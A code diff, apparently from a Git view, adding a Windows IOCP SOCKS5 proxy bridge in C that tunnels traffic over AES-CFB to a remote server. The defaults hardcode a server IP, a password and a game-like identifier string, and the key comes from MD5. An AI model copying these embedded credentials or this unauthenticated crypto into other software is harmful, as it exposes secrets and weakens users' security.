BOOL ok2 = WSAGetOverlappedResult(b->s_srv, &op->ov, &bytes, FALSE, &gle);
if (!ok2){
logv('E',"ConnectEx complete err gle=%u", gle);
s5_reply(b->s_cli, 0x05, "0.0.0.0", 0);
InterlockedDecrement(&b->pending_ops); op_free(op);
bridge_start_close(b); continue;
}
// 必须调用 setsockopt/更新为连接态
setsockopt(b->s_srv, IPPROTO_TCP, TCP_NODELAY, (const char*)&(int){1}, sizeof(int));
// 将 socket 转换为连接态微软文档ConnectEx 完成后需调用 setsockopt 或 WSAIoctl SIO_KEEPALIVE_VALS/或者调用 getsockname 等)
struct sockaddr_in name; int namelen=sizeof(name);
getsockname(b->s_srv,(struct sockaddr*)&name,&namelen);
if (g_verbose) logv('I',"ConnectEx completed ok=1 gle=0");
InterlockedDecrement(&b->pending_ops); op_free(op);
after_remote_connected(b);
}
// 统一关闭判定
if (b->closing && InterlockedCompareExchange(&b->pending_ops,0,0)==0){
logv('I',"bridge %p free", b);
bridge_free(b);
}
}
return 0;
}
//===================== Accept loop =====================
static DWORD WINAPI accept_loop(LPVOID arg_){
worker_arg_t* wa=(worker_arg_t*)arg_;
config_t* cfg = wa->cfg;
SOCKET ls = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,0, WSA_FLAG_OVERLAPPED);
if (ls==INVALID_SOCKET){ logv('E',"listen socket fail %d", WSAGetLastError()); return 1; }
struct sockaddr_in sin={0}; sin.sin_family=AF_INET; sin.sin_port=htons((u_short)cfg->listen_port);
InetPtonA(AF_INET, cfg->listen_host, &sin.sin_addr);
if (bind(ls,(struct sockaddr*)&sin,sizeof(sin))!=0){ logv('E',"bind fail %d", WSAGetLastError()); return 1; }
if (listen(ls, SOMAXCONN)!=0){ logv('E',"listen fail %d", WSAGetLastError()); return 1; }
logv('I',"ready.");
for (;;){
struct sockaddr_storage cs; int clen=sizeof(cs);
SOCKET s = accept(ls, (struct sockaddr*)&cs, &clen);
if (s==INVALID_SOCKET){ int e=WSAGetLastError(); if (e==WSAEINTR) break; continue; }
char ipbuf[64]; uint16_t cport=0;
if (cs.ss_family==AF_INET){
struct sockaddr_in* a=(struct sockaddr_in*)&cs;
inet_ntop(AF_INET, &a->sin_addr, ipbuf, sizeof(ipbuf)); cport=ntohs(a->sin_port);
}else{
strcpy(ipbuf,"::1"); cport=0;
}
logv('I',"accepted socket=%llu from %s:%u", (unsigned long long)s, ipbuf, cport);
// 建 bridge
bridge_t* b=(bridge_t*)calloc(1,sizeof(bridge_t));
b->s_cli = s; b->s_srv=INVALID_SOCKET; b->cfg = cfg; b->recv_cap = (DWORD)cfg->recv_buf; b->st=ST_GREETING;
b->iocp = wa->iocp;
CreateIoCompletionPort((HANDLE)b->s_cli, wa->iocp, (ULONG_PTR)b, 0);
// 贴收客户端
post_recv(b, b->s_cli, OP_CLI_RECV);
}
return 0;
}
//===================== main =====================
int main(int argc, char** argv){
config_t cfg; parse_args(argc,argv,&cfg);
g_verbose = cfg.verbose;
srand((unsigned)time(NULL));
g_main_tid = GetCurrentThreadId();
WSADATA w; if (WSAStartup(MAKEWORD(2,2), &w)!=0){ return 1; }
HANDLE iocp = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
logv('I',"=== mx iocp socks5 ===");
logv('I',"listen %s:%d remote %s:%d verbose=%d", cfg.listen_host, cfg.listen_port, cfg.remote_host, cfg.remote_port, cfg.verbose);
logv('I',"udp_timeout=%ds connect_timeout=%ds", cfg.udp_timeout_sec, cfg.connect_timeout_sec);
worker_arg_t wa = { .iocp=iocp, .cfg=&cfg };
// workers
const int N=3; HANDLE th[N];
for (int i=0;i<N;i++) th[i]=CreateThread(NULL,0,worker_thread,&wa,0,NULL);
// accept
HANDLE thacc = CreateThread(NULL,0,accept_loop,&wa,0,NULL);
WaitForSingleObject(thacc, INFINITE);
// signal workers stop
for (int i=0;i<N;i++) PostQueuedCompletionStatus(iocp, 0, 0, NULL);
WaitForMultipleObjects(N, th, TRUE, INFINITE);
CloseHandle(iocp);
WSACleanup();
return 0;
}

1267
cpp/mx.c Normal file

File diff suppressed because it is too large Load Diff

1037
cpp/mx_optimized.c Normal file

File diff suppressed because it is too large Load Diff

916
cpp/mxiocp/iocp_s5.c Normal file
View File

@ -0,0 +1,916 @@
// iocp_s5.c : SOCKS5 bridge using IOCP + CNG (no libevent/openssl)
// Build (MSVC): cl /O2 /DNDEBUG /MT /utf-8 iocp_s5.c /link /MACHINE:X64 /OPT:REF /OPT:ICF ws2_32.lib mswsock.lib bcrypt.lib
#define _CRT_SECURE_NO_WARNINGS
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0A00 // Windows 10+
#endif
#include <winsock2.h>
#include <mswsock.h>
#include <ws2tcpip.h>
#include <bcrypt.h>
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <time.h>
#include <stdarg.h>
#include <string.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "Mswsock.lib")
#pragma comment(lib, "Bcrypt.lib")
// -------------------- logging --------------------
static volatile LONG g_log_level = 2; // 0=quiet, 1=info, 2=debug
static void logf_(const char* lvl, const char* fmt, ...) {
SYSTEMTIME st; GetLocalTime(&st);
DWORD tid = GetCurrentThreadId();
fprintf(stderr, "[%02u:%02u:%02u.%03u][%s][T%lu] ",
st.wHour, st.wMinute, st.wSecond, st.wMilliseconds, lvl, (unsigned long)tid);
va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap);
fputc('\n', stderr);
fflush(stderr);
}
#define LOGI(...) do{ if(g_log_level>=1) logf_("I", __VA_ARGS__); }while(0)
#define LOGD(...) do{ if(g_log_level>=2) logf_("D", __VA_ARGS__); }while(0)
#define LOGE(...) do{ if(g_log_level>=0) logf_("E", __VA_ARGS__); }while(0)
// -------------------- compatibility --------------------
#define CLOSESOCK(s) closesocket((s))
#define WOULD_BLOCK(e) ((e)==WSAEWOULDBLOCK || (e)==WSAEINTR)
#define strcasecmp _stricmp
// -------------------- constants --------------------
#define RECV_BUF 8192
#define UDP_MAP_CAP 128
#define DOMAIN_MAX 255
#define DNS_CACHE_SIZE 256
#define MAX_PENDING_ACCEPT 64
#define MAX_WORKERS 0 // 0 = system default
// -------------------- domains list --------------------
static const char *k_domains[] = {"google.com", "youtube.com", "github.com"};
static const size_t k_domains_cnt = 3;
static bool ends_with(const char *s, const char *suffix) {
size_t ls = strlen(s), lt = strlen(suffix);
return lt <= ls && strcasecmp(s + (ls - lt), suffix) == 0;
}
static bool host_in_domain_list(const char *host) {
for (size_t i = 0; i < k_domains_cnt; ++i) if (ends_with(host, k_domains[i])) return true;
return false;
}
// -------------------- resolve helpers --------------------
static bool resolve_host_port(const char *host, uint16_t port, struct sockaddr_storage *ss, int *sslen) {
struct addrinfo hints, *res = NULL;
char portstr[8]; _snprintf(portstr, sizeof(portstr), "%u", (unsigned)port);
memset(&hints, 0, sizeof(hints));
hints.ai_socktype = SOCK_STREAM;
hints.ai_family = AF_UNSPEC;
int rc = getaddrinfo(host, portstr, &hints, &res);
if (rc != 0 || !res) { if (res) freeaddrinfo(res); LOGE("resolve_host_port('%s',%u) failed: %d", host, (unsigned)port, rc); return false; }
memcpy(ss, res->ai_addr, (int)res->ai_addrlen);
*sslen = (int)res->ai_addrlen;
freeaddrinfo(res);
return true;
}
static int host_literal_ip(const char *host, uint8_t *packed16, size_t *packed_len) {
IN_ADDR a4; IN6_ADDR a6;
if (InetPtonA(AF_INET, host, &a4) == 1) { memcpy(packed16, &a4, 4); *packed_len = 4; return AF_INET; }
if (InetPtonA(AF_INET6, host, &a6) == 1) { memcpy(packed16, &a6, 16); *packed_len = 16; return AF_INET6; }
return 0;
}
static void sockaddr_to_string(const SOCKADDR* sa, int salen, char* out, size_t cap) {
out[0] = 0; if (!sa) return;
if (sa->sa_family == AF_INET) {
const SOCKADDR_IN* s = (const SOCKADDR_IN*)sa;
char ip[64]; InetNtopA(AF_INET, (void*)&s->sin_addr, ip, sizeof(ip));
_snprintf(out, cap, "%s:%u", ip, (unsigned)ntohs(s->sin_port));
} else if (sa->sa_family == AF_INET6) {
const SOCKADDR_IN6* s6 = (const SOCKADDR_IN6*)sa;
char ip[128]; InetNtopA(AF_INET6, (void*)&s6->sin6_addr, ip, sizeof(ip));
_snprintf(out, cap, "[%s]:%u", ip, (unsigned)ntohs(s6->sin6_port));
} else {
_snprintf(out, cap, "af=%d", sa->sa_family);
}
}
// -------------------- config --------------------
typedef struct {
char remote_host[64];
int remote_port;
char password[64];
char mx_head[128];
char listen_host[16];
int listen_port;
int recv_buf;
int connect_timeout; // seconds
int udp_timeout; // seconds
int verbose; // 0/1
} config_t;
static void config_default(config_t *cfg) {
memset(cfg, 0, sizeof(*cfg));
strcpy(cfg->remote_host, "121.14.152.149");
cfg->remote_port = 10004;
strcpy(cfg->password, "dwz1GtF7");
strcpy(cfg->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279");
strcpy(cfg->listen_host, "0.0.0.0");
cfg->listen_port = 10807;
cfg->recv_buf = RECV_BUF;
cfg->connect_timeout = 10;
cfg->udp_timeout = 180;
cfg->verbose = 1;
}
// 全局:是否所有域名都走 DNS-over-tunnel
static int g_dns_always = 0;
static void parse_args(int argc, char **argv, config_t *cfg) {
config_default(cfg);
for (int i = 1; i < argc; ++i) {
if (!strcmp(argv[i], "--remote-host") && i+1 < argc) strncpy(cfg->remote_host, argv[++i], sizeof(cfg->remote_host)-1);
else if (!strcmp(argv[i], "--remote-port") && i+1 < argc) cfg->remote_port = atoi(argv[++i]);
else if (!strcmp(argv[i], "--password") && i+1 < argc) strncpy(cfg->password, argv[++i], sizeof(cfg->password)-1);
else if (!strcmp(argv[i], "--mx") && i+1 < argc) strncpy(cfg->mx_head, argv[++i], sizeof(cfg->mx_head)-1);
else if (!strcmp(argv[i], "--listen") && i+1 < argc) strncpy(cfg->listen_host, argv[++i], sizeof(cfg->listen_host)-1);
else if (!strcmp(argv[i], "--port") && i+1 < argc) cfg->listen_port = atoi(argv[++i]);
else if (!strcmp(argv[i], "--dns-always")) g_dns_always = 1;
else if (!strcmp(argv[i], "--verbose")) { cfg->verbose = 1; g_log_level = 2; }
else if (!strcmp(argv[i], "--quiet")) { cfg->verbose = 0; g_log_level = 0; }
else if (!strcmp(argv[i], "--log") && i+1 < argc) { g_log_level = atoi(argv[++i]); cfg->verbose = (g_log_level>0); }
}
}
// -------------------- small helpers --------------------
typedef struct { char* data; size_t len, cap; } dynbuf_t;
static void dbuf_init(dynbuf_t* b) { b->data=NULL; b->len=0; b->cap=0; }
static void dbuf_free(dynbuf_t* b) { if(b->data) free(b->data); b->data=NULL; b->len=b->cap=0; }
static bool dbuf_reserve(dynbuf_t* b, size_t need){ if(b->cap-b->len>=need) return true; size_t nc=b->cap?b->cap:1024; while(nc-b->len<need) nc<<=1; char* p=(char*)realloc(b->data,nc); if(!p) return false; b->data=p; b->cap=nc; return true; }
static bool dbuf_append(dynbuf_t* b, const void* p, size_t n){ if(!dbuf_reserve(b,n)) return false; memcpy(b->data+b->len,p,n); b->len+=n; return true; }
static void dbuf_consume(dynbuf_t* b, size_t n){ if(n>=b->len){b->len=0;return;} memmove(b->data,b->data+n,b->len-n); b->len-=n; }
static void log_preview(const char* tag, const uint8_t* buf, size_t n) {
char out[200]; size_t m = n<80? n:80; size_t j=0;
for (size_t i=0;i<m && j<sizeof(out)-1; ++i) {
unsigned char c = buf[i];
out[j++] = (c>=32 && c<127)? c : '.';
}
out[j]=0;
LOGD("%s [%zu]: %s", tag, n, out);
}
// -------------------- socks5 --------------------
typedef struct { uint8_t cmd, atyp; char host[128]; uint16_t port; } socks5_req_t;
static int parse_socks5_greeting(const uint8_t* p, size_t len, size_t* consumed) {
if (len < 2) return 0;
if (p[0] != 5) return -2;
size_t need = 2 + p[1];
if (len < need) return 0;
*consumed = need;
return 1;
}
static int parse_socks5_request(const uint8_t* p, size_t len, socks5_req_t *req, size_t* consumed) {
if (len < 4) return 0;
if (p[0] != 5) return -2;
req->cmd = p[1];
req->atyp = p[3];
size_t off = 4;
if (req->atyp == 0x01) {
if (len < off + 4 + 2) return 0;
char ip[INET_ADDRSTRLEN]; InetNtopA(AF_INET,(void*)(p+off),ip,sizeof(ip));
strncpy(req->host, ip, sizeof(req->host)-1); req->host[127]=0;
off += 4; req->port = ntohs(*(uint16_t*)(p + off)); off += 2;
} else if (req->atyp == 0x03) {
if (len < off + 1) return 0;
uint8_t l = p[off++]; if (len < off + l + 2) return 0;
size_t cplen = (l > 127) ? 127 : l;
memcpy(req->host, p + off, cplen); req->host[cplen]=0;
off += l; req->port = ntohs(*(uint16_t*)(p + off)); off += 2;
} else if (req->atyp == 0x04) {
if (len < off + 16 + 2) return 0;
char ip6[INET6_ADDRSTRLEN]; InetNtopA(AF_INET6,(void*)(p+off),ip6,sizeof(ip6));
strncpy(req->host, ip6, sizeof(req->host)-1); req->host[127]=0;
off += 16; req->port = ntohs(*(uint16_t*)(p + off)); off += 2;
} else return -3;
*consumed = off; return 1;
}
static void socks5_send_reply(SOCKET s, uint8_t rep, const char *bind_host, uint16_t bind_port) {
uint8_t buf[4 + 1 + 255 + 2]; size_t off=0;
buf[off++]=0x05; buf[off++]=rep; buf[off++]=0x00;
uint8_t packed[16]; size_t plen=0;
int af = host_literal_ip(bind_host, packed, &plen);
if (af == AF_INET) { buf[off++]=0x01; memcpy(buf+off,packed,4); off+=4; }
else if (af==AF_INET6) { buf[off++]=0x04; memcpy(buf+off,packed,16); off+=16; }
else { size_t len=strlen(bind_host); if(len>255) len=255; buf[off++]=0x03; buf[off++]=(uint8_t)len; memcpy(buf+off,bind_host,len); off+=len; }
uint16_t p=htons(bind_port); memcpy(buf+off,&p,2); off+=2; send(s,(const char*)buf,(int)off,0);
}
static void socks5_send_reply_log(SOCKET s, uint8_t rep, const char* host, uint16_t port){
LOGI("S5 reply rep=0x%02x bind=%s:%u", rep, host?host:"", (unsigned)port);
socks5_send_reply(s, rep, host, port);
}
// -------------------- encode_addr --------------------
static bool encode_addr(uint8_t atyp, const char *host, uint16_t port, dynbuf_t* out, bool tcp) {
uint8_t packed[16]; size_t plen=0;
if (atyp == 0x01) {
if (host_literal_ip(host, packed, &plen) != AF_INET) return false;
uint8_t t = tcp ? 0x61 : 0x01; dbuf_append(out,&t,1); dbuf_append(out,packed,4);
} else if (atyp == 0x03) {
size_t len=strlen(host); if(len>255) return false;
uint8_t t=tcp?0x63:0x03; dbuf_append(out,&t,1); uint8_t l=(uint8_t)len; dbuf_append(out,&l,1); dbuf_append(out,host,len);
} else if (atyp == 0x04) {
if (host_literal_ip(host, packed, &plen) != AF_INET6) return false;
uint8_t t=tcp?0x64:0x04; dbuf_append(out,&t,1); dbuf_append(out,packed,16);
} else return false;
uint16_t nport=htons(port); dbuf_append(out,&nport,2); return true;
}
// -------------------- CNG crypto (CFB128 fixed) --------------------
typedef struct AES_CFB {
BCRYPT_ALG_HANDLE hAlg;
BCRYPT_KEY_HANDLE hKey;
PUCHAR keyObj;
DWORD keyObjLen;
UCHAR iv[16];
BOOL ready;
} AES_CFB;
static void rand_bytes(uint8_t* b, size_t n) {
BCryptGenRandom(NULL,(PUCHAR)b,(ULONG)n,BCRYPT_USE_SYSTEM_PREFERRED_RNG);
}
static BOOL kdf_evp_bytes_to_key_md5(const uint8_t* pw, size_t pwlen, uint8_t out32[32]) {
BCRYPT_ALG_HANDLE hMd5=NULL; NTSTATUS st=0; BCRYPT_HASH_HANDLE hh=NULL; UCHAR h1[16],h2[16];
st=BCryptOpenAlgorithmProvider(&hMd5,BCRYPT_MD5_ALGORITHM,NULL,0); if(st) return FALSE;
st=BCryptCreateHash(hMd5,&hh,NULL,0,NULL,0,0); if(st) goto L;
st=BCryptHashData(hh,(PUCHAR)pw,(ULONG)pwlen,0); if(st) goto L;
st=BCryptFinishHash(hh,h1,16,0); BCryptDestroyHash(hh); hh=NULL; if(st) goto L;
st=BCryptCreateHash(hMd5,&hh,NULL,0,NULL,0,0); if(st) goto L;
st=BCryptHashData(hh,h1,16,0); if(st) goto L;
st=BCryptHashData(hh,(PUCHAR)pw,(ULONG)pwlen,0); if(st) goto L;
st=BCryptFinishHash(hh,h2,16,0); if(st) goto L;
memcpy(out32,h1,16); memcpy(out32+16,h2,16);
L: if(hh)BCryptDestroyHash(hh); if(hMd5)BCryptCloseAlgorithmProvider(hMd5,0); return st==0;
}
static BOOL aes_cfb_init(AES_CFB* s, const uint8_t key[32], const uint8_t iv[16]) {
memset(s,0,sizeof(*s));
if (BCryptOpenAlgorithmProvider(&s->hAlg,BCRYPT_AES_ALGORITHM,NULL,0)) return FALSE;
if (BCryptSetProperty(s->hAlg,BCRYPT_CHAINING_MODE,(PUCHAR)BCRYPT_CHAIN_MODE_CFB,(ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB),0)) return FALSE;
DWORD cb=0; if (BCryptGetProperty(s->hAlg,BCRYPT_OBJECT_LENGTH,(PUCHAR)&s->keyObjLen,sizeof(DWORD),&cb,0)) return FALSE;
s->keyObj=(PUCHAR)HeapAlloc(GetProcessHeap(),0,s->keyObjLen); if(!s->keyObj) return FALSE;
if (BCryptGenerateSymmetricKey(s->hAlg,&s->hKey,s->keyObj,s->keyObjLen,(PUCHAR)key,32,0)) return FALSE;
DWORD fb = 16; // **** CFB128
if (BCryptSetProperty(s->hKey, BCRYPT_MESSAGE_BLOCK_LENGTH, (PUCHAR)&fb, sizeof(fb), 0)) return FALSE;
memcpy(s->iv,iv,16); s->ready=TRUE; return TRUE;
}
static void aes_cfb_free(AES_CFB* s){
if(s->hKey) BCryptDestroyKey(s->hKey);
if(s->hAlg) BCryptCloseAlgorithmProvider(s->hAlg,0);
if(s->keyObj) HeapFree(GetProcessHeap(),0,s->keyObj);
memset(s,0,sizeof(*s));
}
static BOOL aes_cfb_update(AES_CFB* s, BOOL enc, PUCHAR in, ULONG inlen, PUCHAR out, ULONG* outlen) {
if (!s->ready) return FALSE;
NTSTATUS st = enc ? BCryptEncrypt(s->hKey,in,inlen,NULL,s->iv,16,out,inlen,outlen,0)
: BCryptDecrypt(s->hKey,in,inlen,NULL,s->iv,16,out,inlen,outlen,0);
return st==0;
}
static int aes_cfb_one_shot(const uint8_t key[32], const uint8_t iv[16], BOOL enc,
const uint8_t* in, size_t inlen, uint8_t* out) {
BCRYPT_ALG_HANDLE hAlg=NULL; BCRYPT_KEY_HANDLE hKey=NULL; PUCHAR keyObj=NULL;
DWORD keyObjLen=0,cb=0,olen=0; UCHAR ivtmp[16]; memcpy(ivtmp,iv,16);
if (BCryptOpenAlgorithmProvider(&hAlg,BCRYPT_AES_ALGORITHM,NULL,0)) goto ERR;
if (BCryptSetProperty(hAlg,BCRYPT_CHAINING_MODE,(PUCHAR)BCRYPT_CHAIN_MODE_CFB,(ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB),0)) goto ERR;
if (BCryptGetProperty(hAlg,BCRYPT_OBJECT_LENGTH,(PUCHAR)&keyObjLen,sizeof(DWORD),&cb,0)) goto ERR;
keyObj=(PUCHAR)HeapAlloc(GetProcessHeap(),0,keyObjLen); if(!keyObj) goto ERR;
if (BCryptGenerateSymmetricKey(hAlg,&hKey,keyObj,keyObjLen,(PUCHAR)key,32,0)) goto ERR;
DWORD fb = 16; // **CFB128**
if (BCryptSetProperty(hKey, BCRYPT_MESSAGE_BLOCK_LENGTH, (PUCHAR)&fb, sizeof(fb), 0)) goto ERR;
NTSTATUS st = enc ? BCryptEncrypt(hKey,(PUCHAR)in,(ULONG)inlen,NULL,ivtmp,16,out,(ULONG)inlen,&olen,0)
: BCryptDecrypt(hKey,(PUCHAR)in,(ULONG)inlen,NULL,ivtmp,16,out,(ULONG)inlen,&olen,0);
if (st) goto ERR;
if (hKey) BCryptDestroyKey(hKey); if (hAlg) BCryptCloseAlgorithmProvider(hAlg,0); if (keyObj) HeapFree(GetProcessHeap(),0,keyObj);
return (int)olen;
ERR:
if (hKey) BCryptDestroyKey(hKey); if (hAlg) BCryptCloseAlgorithmProvider(hAlg,0); if (keyObj) HeapFree(GetProcessHeap(),0,keyObj);
return -1;
}
// -------------------- UDP map --------------------
typedef struct {
bool used; time_t ts; uint8_t key[128]; size_t key_len; struct sockaddr_storage client_ss; int client_len;
} udp_map_entry_t;
typedef struct udp_assoc_s {
struct bridge_s* owner; SOCKET fd; struct sockaddr_storage remote_ss; int remote_len; uint8_t key32[32];
udp_map_entry_t map[UDP_MAP_CAP]; struct sockaddr_storage last_client; int last_client_len; bool has_last; HANDLE timer;
} udp_assoc_t;
static int udp_map_find(udp_assoc_t* ua, const uint8_t* k, size_t klen) {
for (int i=0;i<UDP_MAP_CAP;++i) if (ua->map[i].used && ua->map[i].key_len==klen && memcmp(ua->map[i].key,k,klen)==0) return i; return -1;
}
static int udp_map_alloc_slot(udp_assoc_t* ua) {
for (int i=0;i<UDP_MAP_CAP;++i) if (!ua->map[i].used) return i;
time_t oldest=time(NULL); int idx=0; for(int i=0;i<UDP_MAP_CAP;++i){ if(ua->map[i].ts<oldest){oldest=ua->map[i].ts; idx=i; } } return idx;
}
// -------------------- IOCP infra --------------------
typedef enum { OP_ACCEPT, OP_CLI_RECV, OP_CLI_SEND, OP_SRV_RECV, OP_SRV_SEND, OP_CONNECT } OPKIND;
typedef enum { ST_GREETING=0, ST_REQUEST=1, ST_CONNECTING_REMOTE=2, ST_STREAM=3, ST_UDP_ASSOC=4, ST_CLOSED=5 } bridge_state_t;
typedef struct IO_OP { OVERLAPPED ol; OPKIND kind; WSABUF buf; char* storage; DWORD cap; } IO_OP;
static IO_OP* op_alloc(OPKIND k, DWORD cap){ IO_OP* op=(IO_OP*)calloc(1,sizeof(IO_OP)); if(!op) return NULL; op->kind=k; op->cap=cap; if(cap){ op->storage=(char*)_aligned_malloc(cap,64); op->buf.buf=op->storage; op->buf.len=cap; } return op; }
static void op_free(IO_OP* op){ if(!op) return; if(op->storage) _aligned_free(op->storage); free(op); }
// Extension functions
static LPFN_ACCEPTEX pAcceptEx = NULL;
static LPFN_CONNECTEX pConnectEx = NULL;
static LPFN_GETACCEPTEXSOCKADDRS pGetAcceptExSockaddrs = NULL;
static BOOL get_ext_fns(SOCKET s) {
DWORD r=0; GUID g1=WSAID_ACCEPTEX, g2=WSAID_CONNECTEX, g3=WSAID_GETACCEPTEXSOCKADDRS;
if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g1, sizeof(g1), &pAcceptEx, sizeof pAcceptEx, &r, NULL, NULL)) return FALSE;
if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g2, sizeof(g2), &pConnectEx, sizeof pConnectEx, &r, NULL, NULL)) return FALSE;
if (WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g3, sizeof(g3), &pGetAcceptExSockaddrs, sizeof pGetAcceptExSockaddrs, &r, NULL, NULL)) return FALSE;
return TRUE;
}
// -------------------- DNS cache & codec --------------------
typedef struct { bool used; time_t expire; char host[64]; char ip[16]; } dns_cache_entry_t;
typedef struct { dns_cache_entry_t tab[DNS_CACHE_SIZE]; } dns_cache_t;
static void dns_cache_init(dns_cache_t* c){ memset(c,0,sizeof(*c)); }
static const char* dns_cache_get(dns_cache_t *c, const char *host) {
time_t now=time(NULL);
for (size_t i=0;i<DNS_CACHE_SIZE;++i) if (c->tab[i].used && strcmp(c->tab[i].host,host)==0) {
if (c->tab[i].expire>now) return c->tab[i].ip; c->tab[i].used=false;
}
return NULL;
}
static void dns_cache_put(dns_cache_t *c, const char *host, const char *ip, int ttl_sec) {
time_t now=time(NULL); size_t slot=DNS_CACHE_SIZE; time_t oldest=now;
for (size_t i=0;i<DNS_CACHE_SIZE;++i){ if(!c->tab[i].used){slot=i;break;} if(c->tab[i].expire<oldest){oldest=c->tab[i].expire; slot=i;} }
if (slot>=DNS_CACHE_SIZE) slot=0;
dns_cache_entry_t* e=&c->tab[slot];
e->used=true; e->expire=now+ttl_sec;
strncpy(e->host,host,sizeof(e->host)-1); e->host[sizeof(e->host)-1]=0;
strncpy(e->ip,ip,sizeof(e->ip)-1); e->ip[sizeof(e->ip)-1]=0;
}
// DNS build/parse
static int dns_build_query(const char *host, uint8_t *out, size_t cap, size_t *outlen, uint16_t *out_id) {
if (!host || !out || cap < 12) return -1;
uint16_t id; BCryptGenRandom(NULL,(PUCHAR)&id,sizeof(id),BCRYPT_USE_SYSTEM_PREFERRED_RNG); *out_id=id;
size_t off=0; uint16_t flags=htons(0x0100); uint16_t qd=htons(1),an=0,ns=0,ar=0;
*(uint16_t*)(out+off)=htons(id); off+=2;
*(uint16_t*)(out+off)=flags; off+=2;
*(uint16_t*)(out+off)=qd; off+=2;
*(uint16_t*)(out+off)=an; off+=2;
*(uint16_t*)(out+off)=ns; off+=2;
*(uint16_t*)(out+off)=ar; off+=2;
const char *p=host, *dot=NULL;
while (*p) {
dot=strchr(p,'.'); size_t lab_len= dot ? (size_t)(dot-p) : strlen(p);
if (lab_len==0 || lab_len>63) return -1;
if (off+1+lab_len>=cap) return -1;
out[off++]=(uint8_t)lab_len; memcpy(out+off,p,lab_len); off+=lab_len;
if (!dot) break; p=dot+1;
}
if (off+1+4>cap) return -1;
out[off++]=0; *(uint16_t*)(out+off)=htons(1); off+=2; *(uint16_t*)(out+off)=htons(1); off+=2;
*outlen=off; return 0;
}
static int dns_skip_name(const uint8_t *buf, size_t len, size_t *off) {
size_t i=*off;
while (i<len) {
uint8_t c=buf[i++]; if ((c&0xC0)==0xC0){ if(i>=len) return -1; i++; break; }
else if (c==0) break; else { if (i+c>len) return -1; i+=c; }
}
*off=i; return 0;
}
static int dns_parse_a(const uint8_t *buf, size_t len, char *ip_str, size_t ip_cap) {
if (len<12) return -1;
uint16_t qd = ntohs(*(const uint16_t*)(buf+4));
uint16_t an = ntohs(*(const uint16_t*)(buf+6));
size_t off=12;
for (uint16_t i=0;i<qd;++i){ if(dns_skip_name(buf,len,&off)!=0) return -1; if(off+4>len) return -1; off+=4; }
for (uint16_t i=0;i<an;++i){
if (dns_skip_name(buf,len,&off)!=0) return -1;
if (off+10>len) return -1;
uint16_t type=ntohs(*(const uint16_t*)(buf+off)); off+=2;
uint16_t class_=ntohs(*(const uint16_t*)(buf+off)); off+=2;
off+=4; uint16_t rdlen=ntohs(*(const uint16_t*)(buf+off)); off+=2;
if (off+rdlen>len) return -1;
if (type==1 && class_==1 && rdlen==4) {
IN_ADDR a4; memcpy(&a4,buf+off,4);
const char* ret = InetNtopA(AF_INET,&a4,ip_str,(socklen_t)ip_cap);
return ret ? 0 : -1;
}
off+=rdlen;
}
return -1;
}
// -------------------- Bridge (per-connection) --------------------
typedef struct bridge_s {
config_t* cfg;
SOCKET cli_fd, srv_fd;
bridge_state_t state;
dynbuf_t cli_in, srv_in;
socks5_req_t req;
uint8_t key32[32];
AES_CFB up_enc; BOOL up_ready;
AES_CFB down_dec; BOOL down_ready;
uint8_t iv_server[16]; size_t iv_have;
struct udp_assoc_s* udp_assoc;
dns_cache_t dns_cache;
volatile LONG closing; // 0=open, 1=closing
volatile LONG pending_ops; // outstanding I/O counter
volatile LONG freed; // 0->1 ensure free once
} bridge_t;
static void bridge_free_crypto(bridge_t* b){ if(b->up_ready){aes_cfb_free(&b->up_enc); b->up_ready=FALSE;} if(b->down_ready){aes_cfb_free(&b->down_dec); b->down_ready=FALSE;} }
static void bridge_really_free(bridge_t* b){
if(!b) return;
if (InterlockedCompareExchange(&b->freed, 1, 0) != 0) return; // ensure once
LOGI("bridge %p free", b);
if(b->udp_assoc){
if (b->udp_assoc->timer) DeleteTimerQueueTimer(NULL,b->udp_assoc->timer,INVALID_HANDLE_VALUE);
if (b->udp_assoc->fd!=INVALID_SOCKET) CLOSESOCK(b->udp_assoc->fd);
free(b->udp_assoc); b->udp_assoc=NULL;
}
if(b->cli_fd!=INVALID_SOCKET){CLOSESOCK(b->cli_fd); b->cli_fd=INVALID_SOCKET;}
if(b->srv_fd!=INVALID_SOCKET){CLOSESOCK(b->srv_fd); b->srv_fd=INVALID_SOCKET;}
bridge_free_crypto(b);
dbuf_free(&b->cli_in); dbuf_free(&b->srv_in);
free(b);
}
static void bridge_try_free(bridge_t* b){
if (!b) return;
if (b->closing && InterlockedCompareExchange(&b->pending_ops, 0, 0)==0){
bridge_really_free(b);
}
}
static void bridge_start_close(bridge_t* b){
if (!b) return;
if (InterlockedCompareExchange(&b->closing, 1, 0)!=0) return; // only once
LOGI("bridge %p start_close (pending_ops=%ld)", b, InterlockedCompareExchange(&b->pending_ops,0,0));
if (b->cli_fd!=INVALID_SOCKET){ CancelIoEx((HANDLE)b->cli_fd, NULL); shutdown(b->cli_fd, SD_BOTH); }
if (b->srv_fd!=INVALID_SOCKET){ CancelIoEx((HANDLE)b->srv_fd, NULL); shutdown(b->srv_fd, SD_BOTH); }
bridge_try_free(b);
}
// -------------------- UDP assoc helpers --------------------
typedef struct udp_assoc_s udp_assoc_t;
static VOID CALLBACK udp_map_cleaner_cb(PVOID param, BOOLEAN fired) {
(void)fired;
udp_assoc_t* ua=(udp_assoc_t*)param; if(!ua) return;
time_t now=time(NULL); int cleared=0;
for (int i=0;i<UDP_MAP_CAP;++i) if (ua->map[i].used && now - ua->map[i].ts > ua->owner->cfg->udp_timeout) { ua->map[i].used=false; ++cleared; }
if (cleared && g_log_level>=2) LOGD("udp_assoc %p expired %d map entries", ua, cleared);
}
static udp_assoc_t* udp_assoc_create(bridge_t* b) {
udp_assoc_t* ua=(udp_assoc_t*)calloc(1,sizeof(*ua)); if(!ua) return NULL;
